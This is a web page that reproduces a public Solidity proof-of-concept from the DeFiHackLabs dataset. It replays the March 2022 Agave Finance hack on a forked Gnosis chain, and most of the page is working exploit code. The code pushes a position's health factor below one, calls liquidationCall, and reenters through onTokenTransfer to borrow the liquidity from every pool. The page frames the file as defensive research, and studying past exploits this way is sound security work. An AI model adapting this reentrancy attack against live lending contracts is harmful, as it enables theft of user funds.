Skip to content
THREATWIRE

Public reproduction file

src/test/2022-03/Agave_exp.sol

Public reproduction file for dataset entry Agave Finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-03/Agave_exp.sol207 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "./../basetest.sol";
5import "./../interface.sol";
6
7interface IGnosisBridgedAsset is IERC20 {
8 function mint(address, uint256) external returns (bool);
9}
11// @KeyInfo - Total Lost : ~1.5M US$
12// Attacker : https://gnosisscan.io/address/0x0a16a85be44627c10cee75db06b169c7bc76de2c
13// Attack Contract : https://gnosisscan.io/address/0xF98169301B06e906AF7f9b719204AA10D1F160d6
14// Vulnerable Contract : https://gnosisscan.io/address/0x207E9def17B4bd1045F5Af2C651c081F9FDb0842 (Agave lending pool v1)
15// Attack Tx : https://gnosisscan.io/tx/0xa262141abcf7c127b88b4042aee8bf601f4f3372c9471dbd75cb54e76524f18e
17// @Info
18// Vulnerable Contract Code : https://github.com/Agave-DAO/protocol-v2/commit/31922797ba110ddb3e908936b940b40221b7e190#diff-d237d9f48e3d6657a5f94c89b903c5003cba6f9a286e26eff509cb44a3f4ee8f
20// @Analysis
21// Post-mortem :https://medium.com/agavefinance/agave-exploit-reentrancy-in-liquidation-call-51ae407bc56
22// Twitter Guy : https://twitter.com/Mudit__Gupta/status/1503783633877827586
24/*
25Detailed explanation of the agave exploit attack flow:
271. Prepare Phase:
28 - Initial Condition: Ensure that the health factor is slightly above 1.
29 - Transition: Advance time by one hour after the initial prepare.
30 - Objective: Reduce the health factor to less than 1 in the next block.
31 - Purpose: This step is essential for the liquidation call to work, as it requires a health factor below 1.
332. Flashloan and Deposit Phase:
34 - Action: Execute a flashloan and deposit tokens.
35 - Exploited Assets: In this exploit, withdraw and borrow all funds from WETH and maximize borrowing from all available pools.
373. Exploit Completion:
38 - Result: Successful execution drains funds from the lending pool.
40Note: These concise steps outline the specific actions taken in each phase of the agave exploit, providing a clear understanding of the attack flow.
41*/
43contract AgaveExploit is BaseTestWithBalanceLog {
44 //Prepare numbers
45 uint256 linkLendNum1 = 1.0000000000000002 ether;
46 uint256 wethlendnum2 = 1;
47 uint256 linkDebt3 = 0.7 ether;
48 uint256 wethDebt4 = 1;
49 uint256 linkWithdraw5 = 0.06666666666 ether;
51 uint256 callCount = 0;
52 uint256 wethLiqBeforeHack = 0;
54 //Asset addrs
55 address aweth = 0xb5A165d9177555418796638447396377Edf4C18a;
56 address gno = 0x9C58BAcC331c9aa871AFD802DB6379a98e80CEdb;
57 address weth = 0x6A023CCd1ff6F2045C3309768eAd9E68F978f6e1;
58 address link = 0xE2e73A1c69ecF83F464EFCE6A5be353a37cA09b2;
59 address wbtc = 0x8e5bBbb09Ed1ebdE8674Cda39A0c169401db4252;
60 address usdc = 0xDDAfbb505ad214D7b80b1f830fcCc89B60fb7A83;
61 address wxdai = 0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d;
63 // Array of assets with weth at the end (uses fundingTokens from BaseTestWithBalanceLog)
65 address provider = 0xA91B9095eFa6C0568467562032202108e49c9Ef8;
66 //Address that can mint tokens on gnosis bridge
67 address tokenOwner = 0xf6A78083ca3e2a662D6dd1703c939c8aCE2e268d;
69 //Asset interfaces
70 IGnosisBridgedAsset WETH = IGnosisBridgedAsset(weth);
71 IGnosisBridgedAsset LINK = IGnosisBridgedAsset(link);
73 // Contract / exchange interfaces
74 ILendingPool lendingPool;
76 uint256 ethFlashloanAmt = 2728.934387414251504146 ether + 1;
78 modifier boostLTVHack() {
79 lendingPool.deposit(weth, WETH.balanceOf(address(this)) - 1, address(this), 0);
80 _;
81 //We borrow directly here cause of some edge case the _borrow fails for weth
82 lendingPool.borrow(weth, wethLiqBeforeHack, 2, 0, address(this));
83 }
85 function _getTokenBal(
86 address asset
87 ) internal view returns (uint256) {
88 return IERC20(asset).balanceOf(address(this));
89 }
91 function setUp() public {
92 vm.createSelectFork("gnosis", 21_120_283); //fork gnosis at block number 21120319
93 lendingPool = ILendingPool(ILendingPoolAddressesProvider(provider).getLendingPool());
94 wethLiqBeforeHack = _getAvailableLiquidity(weth);
96 multiAssetLog = true;
97 fundingTokens = new address[](7);
98 fundingTokens[0] = usdc;
99 fundingTokens[1] = gno;
100 fundingTokens[2] = link;
101 fundingTokens[3] = wbtc;
102 fundingTokens[4] = wxdai;
103 fundingTokens[5] = weth;
104 fundingTokens[6] = aweth;
106 //Lets just mint weth to this contract for initial debt
107 vm.startPrank(tokenOwner);
109 //Mint initial weth funding
110 WETH.mint(address(this), ethFlashloanAmt);
111 // Mint LINK funding
112 LINK.mint(address(this), linkLendNum1);
114 vm.stopPrank();
116 //Approve funds
117 LINK.approve(address(lendingPool), type(uint256).max);
118 WETH.approve(address(lendingPool), type(uint256).max);
119 }
121 function _getAvailableLiquidity(
122 address asset
123 ) internal view returns (uint256 reserveTokenbal) {
124 DataTypesAave.ReserveData memory data = lendingPool.getReserveData(asset);
125 reserveTokenbal = IERC20(asset).balanceOf(address(data.aTokenAddress));
126 }
128 function _getHealthFactor() internal view returns (uint256) {
129 (,,,,, uint256 healthFactor) = lendingPool.getUserAccountData(address(this));
130 return healthFactor;
131 }
133 function _initHF() internal {
134 //follow the flow of this TX https://gnosisscan.io/tx/0x45b2d71f5bbb17fa67341fdf30468f1de032db71760be0cf4df9bac316cda7cc
136 uint256 balance = LINK.balanceOf(address(this));
137 require(balance > 0, "no link");
139 //Deposit weth to aave v2 fork
140 lendingPool.deposit(link, linkLendNum1, address(this), 0);
141 lendingPool.deposit(weth, wethlendnum2, address(this), 0);
143 //Enable asset as collateral
145 lendingPool.setUserUseReserveAsCollateral(link, true);
146 lendingPool.setUserUseReserveAsCollateral(weth, true);
148 //Borrow initial setup prepare debts
149 lendingPool.borrow(link, linkDebt3, 2, 0, address(this));
150 lendingPool.borrow(weth, wethDebt4, 2, 0, address(this));
152 //Withdraw as per tx
153 lendingPool.withdraw(link, linkWithdraw5, address(this));
154 }
156 function testExploit() public balanceLog {
157 //Call prepare and get it setup
158 _initHF();
159 _flashWETH();
160 }
162 function _flashWETH() internal {
163 uniswapV2Call(address(this), ethFlashloanAmt, 0, abi.encode(msg.sender));
164 }
166 function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes memory _data) public {
167 //We simulate a flashloan from uniswap for initial eth funding
168 _attackLogic(_amount0, _amount1, _data);
169 }
171 function _attackLogic(uint256 _amount0, uint256 _amount1, bytes memory _data) internal {
172 //This will fast forward block number and timestamp to cause hf to be lower due to interest on loan pushing hf below one
173 vm.warp(block.timestamp + 1 hours);
174 vm.roll(block.number + 1);
175 //This will start the reentrancy with ontokentransfer call on .burn of the atoken
176 lendingPool.liquidationCall(weth, weth, address(this), 2, false);
177 //This will withdraw the funds from weth lending pool
178 lendingPool.withdraw(weth, _getTokenBal(aweth), address(this));
179 //For test case we just send it to address(1) to reduce the flashloan debt amount from us to get final assets
180 WETH.transfer(address(1), ((ethFlashloanAmt * 1000) / 997) + 1);
181 }
183 function _borrow(
184 address asset
185 ) internal {
186 uint256 reserveTokenbal = _getAvailableLiquidity(asset);
187 uint256 BorrowAmount = reserveTokenbal > 2 ? reserveTokenbal - 1 : 0;
188 if (BorrowAmount > 0) lendingPool.borrow(asset, BorrowAmount, 2, 0, address(this));
189 }
191 //NOTE: boostLTVHack deposits weth from flashloan to increase health and borrows wethliqbeforehack at the end
192 function borrowTokens() internal boostLTVHack {
193 // Borrow all assets except weth (which is at index 5)
194 for (uint i = 0; i < 5; i++) {
195 _borrow(fundingTokens[i]);
196 }
197 }
199 function onTokenTransfer(address _from, uint256 _value, bytes memory _data) external {
200 if (_from == aweth && _value == 1) {
201 callCount++;
202 if (callCount == 2) {
203 borrowTokens();
204 }
205 }
206 }

Analysis

Dataset entry

Public Foundry test for “Agave Finance” (2022-03-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

13 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0a16a85be44627c10cee75db06b169c7bc76de2c

  • Attack Contract

    0xf98169301b06e906af7f9b719204aa10d1f160d6

  • Vulnerable Contract

    0x207e9def17b4bd1045f5af2c651c081f9fdb0842

  • Attack Tx

    0xa262141abcf7c127b88b4042aee8bf601f4f3372c9471dbd75cb54e76524f18e

File record

Name
Agave Finance
Path
src/test/2022-03/Agave_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8bedbea08dc8edb0a9a0173828cfe0053f976698
Language
Solidity
Size
208 lines
Date
2022-03-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-03/Agave_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8bedbea08dc8edb0a9a0173828cfe0053f976698, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.